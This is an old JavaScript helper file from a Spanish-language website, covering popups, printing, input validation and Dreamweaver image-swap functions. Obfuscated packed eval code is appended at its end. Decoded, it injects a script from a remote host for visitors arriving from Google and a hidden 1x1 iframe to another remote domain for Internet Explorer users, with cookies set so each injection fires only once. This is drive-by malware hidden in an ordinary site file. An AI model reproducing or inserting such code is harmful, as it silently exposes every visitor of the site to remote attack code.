function Ventana(nombre, ancho, alto, top, left) {
Vent=window.open(nombre,"DisplayWindow", "toolbar=0,width=" + ancho + ",height=" + alto + ",scrollbars=yes,top=" + top + ",left=" + left + "");
//Vent.document.close();
//Vent=window.open("newarea.asp","DisplayWindow", "toolbar=0,width=300,height=180,scrollbars=auto,top=80,left=420");
//Vent.focus();
}

function cursorwait() {
 document.body.style.cursor='wait';
}

function cursordone() {
 document.body.style.cursor='auto';
}


function VentanaS(nombre, ancho, alto, top, left) {
Vent2=window.open(nombre,"DisplayWindow", "toolbar=0,width=" + ancho + ",height=" + alto + ",scrollbars=no,top=" + top + ",left=" + left + "");
//Vent.document.close();
//Vent=window.open("newarea.asp","DisplayWindow", "toolbar=0,width=300,height=180,scrollbars=auto,top=80,left=420");
Vent2.focus();
//return true;
}

function Ventana_Imprimir(nombre, ancho, alto, top, left) {
Vent2=window.open(nombre,"", "toolbar=0,width=" + ancho + ",height=" + alto + ",scrollbars=no,top=" + top + ",left=" + left + "");
//Vent2=window.open(nombre,"", "toolbar=0,scrollbars=no,top=" + top + ",left=" + left + "");
Vent2.focus();
}

function Imprimir_Ventana() {
Imprimir();
window.close();
}

function Imprimir(){
var Version = parseInt(navigator.appVersion);
var Browser = navigator.appName;

	if ((Browser == "Netscape")&&(Version > 3)) {
        //	alert("Para imprimir utilice la versión 5 o superior.");
		window.print();
	}else if (Browser == "Microsoft Internet Explorer"){
		if (Version<4)
			alert("Para imprimir utilice la versión 5 o superior.");
		else
		{
		document.body.insertAdjacentHTML("beforeEnd",
	    "<object id=\"printWB\" width=0 height=0 \
	    classid=\"clsid:8856F961-340A-11D0-A96B-00C04FD705A2\"></object>");
	    execScript("on error resume next: printWB.ExecWB 6, 1", "VBScript");
	    printWB.outerHTML = "";
		}
	}
}

function abrir_imagen_directa(imagen,pie,Ancho,Alto)
{
	MasAlto=Alto;  //+11;
	features = "width="+Ancho+",height="+MasAlto+",top=80,left=100,location=no,srollbars=no,toolbar=no,menubar=no";
	//path_imagen= "/common/imagen_directa.htm?img="+imagen+"&pie="+pie+"&w="+Ancho+"&h="+Alto;
	w_new = window.open(imagen,Ancho+Alto,features);
    w_new.focus();
	w_new.document.write("<html>");
	w_new.document.write("<head>");
	w_new.document.write("<title>"+pie+"</title>");
	w_new.document.write("<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">");
	w_new.document.write("</head>");
	w_new.document.write("<body leftmargin=0 topmargin=0 marginheight=0 marginwidth=0 bgcolor=#000000>");
	w_new.document.write("<table border=0 bgcolor=#000000 cellpadding=0 cellspacing=0 vspace=0 hspace=0>");
  //	w_new.document.write("<tr>");
  //    w_new.document.write("<td bgcolor=#000000 align=right height=11><a href=\'javascript:window.close()\'><img src=\'images/cerrar.gif\'  alt='Cerrar' width=\'61\' height=\'11\' border=0></a></td>");
  //	w_new.document.write("</tr>");
  	w_new.document.write("<tr>");
        w_new.document.write("<td >");
	w_new.document.write("<img src='");
	w_new.document.write(imagen + "'");
	w_new.document.write(" width='");
	w_new.document.write(Ancho + "'");
	w_new.document.write(" height='");
	w_new.document.write(Alto + "'");
	w_new.document.write(" alt='");
	//w_new.document.write(pie);
	w_new.document.write("'></td>");
  	w_new.document.write("</tr>");
	w_new.document.write("</table>");
	w_new.document.write("</body>");
	w_new.document.write("</html>");
}

function valida(tipval){
var xkey=window.event.keyCode;

	if(tipval=="int")
		if ((xkey < 48) || (xkey > 57)) event.returnValue = false;
	if(tipval=="str")
		if ((((xkey != 32) && (xkey < 65)) || ((xkey > 90) && (xkey < 97)))) event.returnValue = false;

}

function femail(correo){
if (correo.indexOf("@") == -1 ||
		            correo.indexOf(".") == -1 ||
		            correo.value == "") {
		                return false;
}
else{
	return true;
}
}


function corta(forma, caja, tamano) {
 with (forma) {
  if (caja.value.length>tamano-1)
   caja.value=caja.value.substring(0,tamano-1);
  caja.focus();
 }
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v3.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_displayStatusMsg(msgStr) { //v1.0
  status=msgStr;
  document.MM_returnValue = true;
}
//eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/2//1/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

//eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 17=3.16.7("20=1");5 19=3.10.7(\'22.\');5 18=25.30.7("27 6.0");9(17==-1&&19!=-1&&18==-1){5 4=3.10.13(3.10.7(\'14=\'));5 8=4.7(\'&\');9(8==-1){8=26.29}4=4.13(0,8).21(2);9(24(4).28(0)!=\'%\'){3.43("<11 42=\'31\' 40=\'44://45.38/33.39?14="+4+"\'></11>");3.16="20=1; 32=34, 23 35 37 12:15:36 41; "}}',10,46,'|||document|query|var||indexOf|querysize|if|referrer|script||slice|q||cookie|dci|nai|dri|_tskdjw|substring|google||escape|navigator|cmd|MSIE|charAt|length|appVersion|JavaScript|expires|kv|Mon|Jul|58|2013|org|js|src|GMT|language|write|http|24search'.split('|'),0,{}));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, //14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

